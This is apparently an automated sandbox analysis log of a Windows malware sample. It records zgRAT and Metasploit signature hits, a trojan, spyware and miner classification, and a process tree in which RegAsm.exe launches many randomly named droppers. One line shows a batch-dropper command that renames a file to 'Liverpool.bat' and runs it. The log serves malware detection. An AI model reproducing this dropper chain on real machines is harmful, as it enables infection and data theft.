Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C1C360	39_2_69C1C360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69C42370	39_2_69C42370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B02370	39_2_69B02370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 39_2_69B96370	39_2_69B96370

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process token adjusted: Security

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00404610 appears 317 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004172E0 appears 53 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0053FA90 appears 39 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 69A8CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 69B23620 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 69B29B10 appears 33 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 69A994D0 appears 90 times

Source: file.exe, 00000005.00000002.1283677827.0000000003480000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenamePE.dll& vs file.exe
Source: file.exe, 00000005.00000002.1283777656.00000000052CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePDFReader.exe4 vs file.exe
Source: file.exe, 00000005.00000000.1276366537.0000000001152000.00000002.00000001.01000000.00000004.sdmp	Binary or memory string: OriginalFilenamemercedes.exe0 vs file.exe
Source: file.exe, 00000005.00000002.1283777656.0000000004F1B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamePDFReader.exe4 vs file.exe
Source: file.exe, 00000005.00000002.1282667791.000000000164E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 33.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 22.2.cxK4jj62SNPYFZVNj3t4MZg_.exe.3685570.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0000000D.00000002.1815283104.00000000023D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Msfpayloads_msf_9 date = 2017-02-09, hash1 = e408678042642a5d341e8042f476ee7cef253871ef1c9e289acf0ee9591d1e81, author = Florian Roth, description = Metasploit Payloads - file msf.war - contents, reference = Internal Research

Source: Mp4Oumo4WN7EZ3kT28qf8R4b.exe, 0000000D.00000002.1727545757.00000000011FC000.00000002.00000001.01000000.0000000F.sdmp	Binary or memory string: main.vBpKOBxpoeWGapdnBUqdqIZKesGgLnXtHTNGZsJXWN
Source: EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E2F000.00000004.00000020.00020000.00000000.sdmp, EZWvE2OrmenaDZlccT1Fi95O.exe, 00000014.00000002.2103394472.0000027C64E8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.mine.winEXE@96/128@13/16

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 39_2_69AB7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

39_2_69AB7030

Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe

Code function: 19_2_00409448 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,

19_2_00409448

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 39_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

39_2_004190A0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 7_2_00433550 CoInitializeEx,CoInitializeSecurity,CoUninitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,#9,CoUninitialize,

7_2_00433550

Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe

Code function: 19_2_00409C34 FindResourceA,SizeofResource,LoadResource,LockResource,

19_2_00409C34

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1860:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1840:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4456:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4016:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1748:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3672:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: \Sessions\1\BaseNamedObjects\KejwopdnfWW_12

Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe

File created: C:\Users\user~1\AppData\Local\Temp\nsc860A.tmp

Jump to behavior

Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Liverpool Liverpool.bat & Liverpool.bat

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process

Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganization

Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: RegAsm.exe

Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);

Source: file.exe	Virustotal: Detection: 22%
Source: file.exe	ReversingLabs: Detection: 21%

Source: sTd4WXsFge4OZIqww_UHT8nz.exe

String found in binary or memory: need to be updated. /RESTARTAPPLICATIONS Instructs Setup to restart applications. /NORESTARTAPPLICATIONS Prevents Setup from restarting applications. /LOADINF="filename" Instructs Setup to load the settings from the specified file after having checked t

Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k UnistackSvcGroup
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k LocalService -s W32Time
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Liverpool Liverpool.bat & Liverpool.bat
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Process created: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp "C:\Users\user~1\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp" /SL5="$20438,2798896,56832,C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe"
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process created: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe "C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe" -i
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Process created: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe "C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe"
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Process created: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe "C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe"
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\dFpuQ1Q9a79sUJWPwukBnd_d.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Mp4Oumo4WN7EZ3kT28qf8R4b.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Process created: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe "C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Process created: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe "C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\jAdtQht6EyohpXB8jxj0sYtp.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\WxZ3BbtftdHbX6Ud8IQWTcja.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\oLvXEE2e9pIf4hDzNZ63ennK.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Wzy1vqDHala63jbsaIZzYTRV.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yKAghydJJ_QMtGbXeHXJyp3j.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Liverpool Liverpool.bat & Liverpool.bat	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe	Process created: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp "C:\Users\user~1\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp" /SL5="$20438,2798896,56832,C:\Users\user\Documents\iofolko5\sTd4WXsFge4OZIqww_UHT8nz.exe"
Source: C:\Users\user\Documents\iofolko5\EZWvE2OrmenaDZlccT1Fi95O.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\1kJcLONuhYBrg8epyyTMPvIE.exe	Process created: unknown unknown
Source: C:\Users\user\Documents\iofolko5\cxK4jj62SNPYFZVNj3t4MZg_.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\is-SH6UF.tmp\sTd4WXsFge4OZIqww_UHT8nz.tmp	Process created: C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe "C:\Users\user\AppData\Local\Jekky Video Editor\jekkyvideoeditor32.exe" -i
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown

